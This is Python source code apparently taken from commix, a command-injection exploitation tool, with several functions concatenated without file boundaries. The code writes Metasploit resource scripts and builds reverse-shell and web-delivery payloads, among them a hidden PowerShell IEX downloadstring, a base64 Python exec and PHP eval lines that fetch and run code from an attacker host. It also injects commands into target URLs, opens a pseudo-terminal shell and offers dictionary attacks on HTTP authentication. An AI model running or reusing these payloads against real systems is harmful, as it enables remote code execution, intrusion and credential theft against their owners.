msf_launch_msg("unicorn.rc") # Return to the current path. os.chdir(current_path) except: continue except: print(settings.SINGLE_WHITESPACE) break # Regsvr32.exe application whitelisting bypass elif windows_reverse_shell == '3': with open(output, 'w+') as filewrite: filewrite.write( "use exploit/windows/misc/regsvr32_applocker_bypass_server\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "set srvport " + str(settings.SRVPORT) + "\n" "set uripath " + settings.URIPATH + "\n" "exploit\n\n") if not settings.TARGET_OS == "win": windows_only_attack_vector() continue else: other_shell = "regsvr32 /s /n /u /i:http://" + str( settings.LHOST) + ":" + str( settings.SRVPORT ) + settings.URIPATH + ".sct scrobj.dll" msf_launch_msg(output) break break # Web delivery script elif other_shell == '12': while True: web_delivery = _input( """ ---[ """ + Style.BRIGHT + Fore.BLUE + """Web delivery script""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Windows meterpreter reverse TCP shell. \ncommix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): if shell_options(web_delivery): return shell_options(web_delivery) elif web_delivery == '1': payload = "python/meterpreter/reverse_tcp" elif web_delivery == '2': payload = "php/meterpreter/reverse_tcp" elif web_delivery == '3': payload = "windows/meterpreter/reverse_tcp" else: err_msg = "The '" + web_delivery + "' option, is not valid." print(settings.print_error_msg(err_msg)) continue if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue if 'payload' in locals(): output = "web_delivery.rc" with open(output, 'w+') as filewrite: filewrite.write( "use exploit/multi/script/web_delivery\n" "set target " + str(int(web_delivery) - 1) + "\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "set srvport " + str(settings.SRVPORT) + "\n" "set uripath " + settings.URIPATH + "\n" "exploit\n\n") if web_delivery == '1': data = "; r=_urllib.request.urlopen('http://" + str( settings.LHOST) + ":" + str( settings.SRVPORT ) + settings.URIPATH + "'); exec(r.read());" data = base64.b64encode(data) if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))" else: other_shell = "python -c \"exec('" + data + "'.decode('base64'))\"" msf_launch_msg(output) break elif web_delivery == '2': if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str( settings.LHOST) + ":" + str( settings.SRVPORT ) + settings.URIPATH + "'));" else: other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str( settings.LHOST) + ":" + str( settings.SRVPORT ) + settings.URIPATH + "'));\"" msf_launch_msg(output) break elif web_delivery == '3': if not settings.TARGET_OS == "win": windows_only_attack_vector() continue else: other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str( settings.LHOST) + ":" + str( settings.SRVPORT ) + settings.URIPATH + "');" msf_launch_msg(output) break break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(other_shell): return shell_options(other_shell) # Invalid option else: err_msg = "The '" + other_shell + "' option, is not valid." print(settings.print_error_msg(err_msg)) continue return other_shell
def estimate_response_time(url, timesec): stored_auth_creds = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Estimating the target URL response time. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() # Check if defined POST data if menu.options.data: request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) headers.do_check(request) start = time.time() try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) response.read(1) response.close() except _urllib.error.HTTPError as err: ignore_start = time.time() if settings.UNAUTHORIZED_ERROR in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: pass else: if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) err_msg = "Unable to connect to the target URL" try: err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += " (" + str(err) + ")." print(settings.print_critical_msg(err_msg)) # Check for HTTP Error 401 (Unauthorized). if str(err.getcode()) == settings.UNAUTHORIZED_ERROR: try: # Get the auth header value auth_line = err.headers.get('www-authenticate', '') # Checking for authentication type name. auth_type = auth_line.split()[0] settings.SUPPORTED_HTTP_AUTH_TYPES.index(auth_type.lower()) # Checking for the realm attribute. try: auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") except: realm = False except ValueError: err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") " err_msg += "is not yet supported." print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() except IndexError: err_msg = "The provided pair of " + str(menu.options.auth_type) err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'" err_msg += " seems to be invalid." print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): if checks.identified_http_auth_type(auth_type): menu.options.auth_type = auth_type.lower() else: menu.options.auth_type = auth_type.lower() # Check for stored auth credentials. if not menu.options.auth_cred: try: stored_auth_creds = session_handler.export_valid_credentials(url, auth_type.lower()) except: stored_auth_creds = False if stored_auth_creds and not menu.options.ignore_session: menu.options.auth_cred = stored_auth_creds info_msg = "Identified a previously stored valid pair of credentials '" info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." print(settings.print_bold_info_msg(info_msg)) else: # Basic authentication if menu.options.auth_type == "basic": if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " do_update = _input(settings.print_question_msg(question_msg)) else: do_update = "" if len(do_update) == 0: do_update = "Y" if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: raise SystemExit() elif do_update in settings.CHOICE_NO: checks.http_auth_err_msg() elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + do_update + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass # Digest authentication elif menu.options.auth_type == "digest": if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) # Check if heuristics have failed to identify the realm attribute. if not realm: warn_msg = "Heuristics have failed to identify the realm attribute." print(settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " do_update = _input(settings.print_question_msg(question_msg)) else: do_update = "" if len(do_update) == 0: do_update = "Y" if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: raise SystemExit() elif do_update in settings.CHOICE_NO: checks.http_auth_err_msg() elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + do_update + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: checks.http_auth_err_msg() else: raise SystemExit() ignore_end = time.time() start = start - (ignore_start - ignore_end) except socket.timeout: if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) err_msg = "The connection to target URL has timed out." print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() except _urllib.error.URLError as err_msg: if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) raise SystemExit() except ValueError as err_msg: if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) print(settings.print_critical_msg(str(err_msg) + ".")) raise SystemExit() end = time.time() diff = end - start if int(diff) < 1: if settings.VERBOSITY_LEVEL != 0 and stored_auth_creds == False: print(settings.SPACE) url_time_response = int(diff) if settings.TARGET_OS == "win": warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there may be delays during the data extraction procedure." print(settings.print_warning_msg(warn_msg)) else: if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) url_time_response = int(round(diff)) warn_msg = "The estimated response time is " + str(url_time_response) warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" if url_time_response >= 3: warn_msg += " serious" warn_msg += " delays during the data extraction procedure" if url_time_response >= 3: warn_msg += " and/or possible corruptions over the extracted data" warn_msg += "." print(settings.print_bold_warning_msg(warn_msg)) if int(timesec) == int(url_time_response): timesec = int(timesec) + int(url_time_response) else: timesec = int(timesec) # Against windows targets (for more stability), add one extra second delay. if settings.TARGET_OS == "win" : timesec = timesec + 1 return timesec, url_time_response
def configure_reverse_tcp(separator): # Set up LHOST for the reverse TCP connection while True: option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) if option.lower() == "reverse_tcp": warn_msg = "You are already into the '" + option.lower( ) + "' mode." print(settings.print_warning_msg(warn_msg)) continue if option.lower() == "?": menu.reverse_tcp_options() continue if option.lower() == "quit": raise SystemExit() elif option.lower() == "os_shell" or option.lower() == "back": settings.REVERSE_TCP = False break elif option.lower() == "bind_tcp": settings.BIND_TCP = True settings.REVERSE_TCP = False break elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0: break elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": if check_lhost(option[10:]): if len(settings.LPORT) == 0: pass else: break else: continue elif option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." print(settings.print_error_msg(err_msg)) continue elif option[4:10].lower() == "lport ": if check_lport(option[10:]): if len(settings.LHOST) == 0: pass else: break else: continue elif option[4:12].lower() == "srvport ": check_srvport(option[12:]) elif option[4:12].lower() == "uripath ": check_uripath(option[12:]) else: err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass else: err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass # eof
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): shell = False counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results. " print(settings.print_info_msg(info_msg)) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification(url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell : payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = fb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) response = fb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) # Evaluate test results. output = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) html_data = output.read() shell = re.findall(r"" + TAG + "", str(html_data)) if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: percent = settings.info_msg info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0 : raise _urllib.error.HTTPError(url, 404, 'Error', {}, None) except _urllib.error.HTTPError as e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split(menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries) and no_result == True : tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print(settings.SPACE) while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " tmp_upload = _input(settings.print_question_msg(question_msg)) else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "Y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print(settings.SPACE) raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass continue else: if exit_loops == False: if settings.VERBOSITY_LEVEL == 0: if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str(float_percent) + "%)" else: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": "," (") + ")." if settings.VERBOSITY_LEVEL >= 2: print(settings.SPACE) print(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL != 0 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print(settings.SPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options() and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL != 0 and new_line: print(settings.SPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print(settings.SPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again= "Y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print(settings.SPACE) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print(settings.SPACE) fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print(settings.SPACE) # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print(settings.SPACE) fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL != 0: # print(settings.SPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print(settings.SPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL != 0: # print(settings.SPACE) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell.decode(settings.UNICODE_ENCODING)) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") if not shell or shell == "": if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg) + "\n") elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) return False else : sys.stdout.write("\r") sys.stdout.flush()
def create_github_issue(err_msg, exc_msg): _ = re.sub(r"'[^']+'", "''", exc_msg) _ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) _ = re.sub(r".+\Z", "", _) _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"= _", "= ", _) _ = _.encode(settings.UNICODE_ENCODING) bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\"" while True: try: if not menu.options.batch: question_msg = "Do you want to automatically create a new (anonymized) issue " question_msg += "with the unhandled exception information at " question_msg += "the official Github repository? [y/N] " choise = _input(settings.print_question_msg(question_msg)) else: choise = "" if len(choise) == 0: choise = "n" if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: print("") return else: err_msg = "'" + choise + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except: print("\n") raise SystemExit() err_msg = err_msg[err_msg.find("\n"):] request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \ _urllib.parse.quote("repo:commixproject/commix" + " " + str(bug_report)) ) try: content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" if duplicate: warn_msg = "That issue seems to be already reported" if closed: warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" warn_msg += ".\n" print(settings.print_warning_msg(warn_msg)) return except: pass data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", data = json.dumps(data).encode(), headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.UNICODE_ENCODING)).decode()} ) try: content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() except Exception as err: content = None issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.UNICODE_ENCODING) or "") if issue_url: info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'.\n" print(settings.print_info_msg(info_msg)) else: warn_msg = "Something went wrong while creating a Github issue." if settings.UNAUTHORIZED_ERROR in str(err): warn_msg += " Please update to the latest revision.\n" print(settings.print_warning_msg(warn_msg))
